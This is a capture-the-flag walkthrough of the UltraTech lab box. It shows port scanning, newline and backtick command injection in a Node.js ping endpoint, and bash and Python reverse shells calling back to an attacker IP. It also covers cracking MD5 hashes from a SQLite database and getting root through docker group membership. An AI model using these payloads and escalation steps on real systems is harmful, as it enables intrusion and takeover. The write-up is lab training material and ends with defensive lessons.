Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

UltraTech CTF

Recon

Nmap

nmap -sV -Pn -oN nmap.txt 10.10.211.245 -p21,22,8081,31331 -sC
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.5
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8081/tcp  open  http    Node.js Express framework
31331/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Web Enumeration

ffuf

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.136.152:8081/FUZZ
auth                    [Status: 200, Size: 39, Words: 8, Lines: 1, Duration: 202ms]
ping                    [Status: 500, Size: 1094, Words: 52, Lines: 11, Duration: 123ms]

Endpoint behavior

Initial request:

curl 'http://10.10.216.51:8081/ping'

Response leaks stack trace:

TypeError: Cannot read property 'replace' of undefined
  at app.get (/home/www/api/index.js:45:29)

Inference: Express route does req.query.<param>.replace(...) then shells out to ping.

Param discovery

curl 'http://10.10.216.51:8081/ping?ip=localhost'                       
PING localhost(localhost6.localdomain6 (::1)) 56 data bytes
64 bytes from localhost6.localdomain6 (::1): icmp_seq=1 ttl=64 time=0.031 ms

--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.031/0.031/0.031/0.000 ms

Filter characteristics

  • Testing basic commands injection technique such as semicolon ; or pipe |, found out they are stripped
  • Backticks and newlines survive

Proof of RCE

curl -G 'http://10.10.211.245:8081/pingip=127.0.0.1%0Aid'                                                
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
uid=1002(www) gid=1002(www) groups=1002(www)

Reverse Shell

curl 'http://10.10.211.245:8081/ping?ip=127.0.0.1%0Abash%20-c%20%22exec%20bash%20-i%20%3E/dev/tcp/10.23.99.212/4444%202%3E%261%20%3C%261%22'
nc -lvnp 4444
Connection from 10.10.211.245:54508
id
ls

This command worked but the shell was unstabble. A better reliability came from Python PTY.

curl -G 'http://10.10.211.245:8081/ping'   --data-urlencode $'ip=127.0.0.1`python - <<PY
import socket,os,pty
s=socket.socket()
s.connect(("10.23.99.212",4444))
for fd in (0,1,2): os.dup2(s.fileno(),fd)
pty.spawn("/bin/bash")
PY
echo 127.0.0.1`'
nc -lvnp 4444
Connection from 10.10.211.245:39338
www@ip-10-10-211-245:~/api$ id
id
uid=1002(www) gid=1002(www) groups=1002(www)

Linux Enumeration

Interesting file: SQLite DB

ls
# utech.db.sqlite

strings utech.db.sqlite
# CREATE TABLE users (login Varchar, password Varchar, type Int)
# r00t  f357a0c52799563c7c7b76c1e7543a32
# admin 0d0ea5111e3c1def594c1684e3b9be84

Crack hashes (raw MD5)

![[crackstation.png]] Using Crack station, we cracked r00t password

  • f357a0c52799563c7c7b76c1e7543a32n100906

admin password was also cracked.

Valid local users

grep /bin/bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
lp1:x:1000:1000:lp1:/home/lp1:/bin/bash
r00t:x:1001:1001::/home/r00t:/bin/bash
ubuntu:x:1003:1004:Ubuntu:/home/ubuntu:/bin/bash

Switch user

Use r00t : n100906 to move to an owned context:

# via shell on box (or SSH if permitted)
su - r00t
id
# uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

Privilege Escalation

r00t@ip-10-10-211-245:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

Being in docker is root-equivalent. No need to pull images; host already has bash:latest.

Method: bind-mount / and chroot

docker image ls -a
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
bash         latest    495d6437fc1e   6 years ago   15.8MB

docker run --rm -it -v /:/mnt --privileged bash:latest bash -lc 'chroot /mnt /bin/bash'

root@6896534b995b:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

Lessons Learned

  • Filters that delete a single metacharacter (;) are security theater; command substitution and newlines remain lethal.
  • Any user in docker is effectively root; treat group assignment as a privileged operation.
  • Hashes in app artifacts rapidly become credentials if they’re unsalted MD5.
  • Deny detailed error pages to unauthenticated clients—stack traces map the code path to the bug.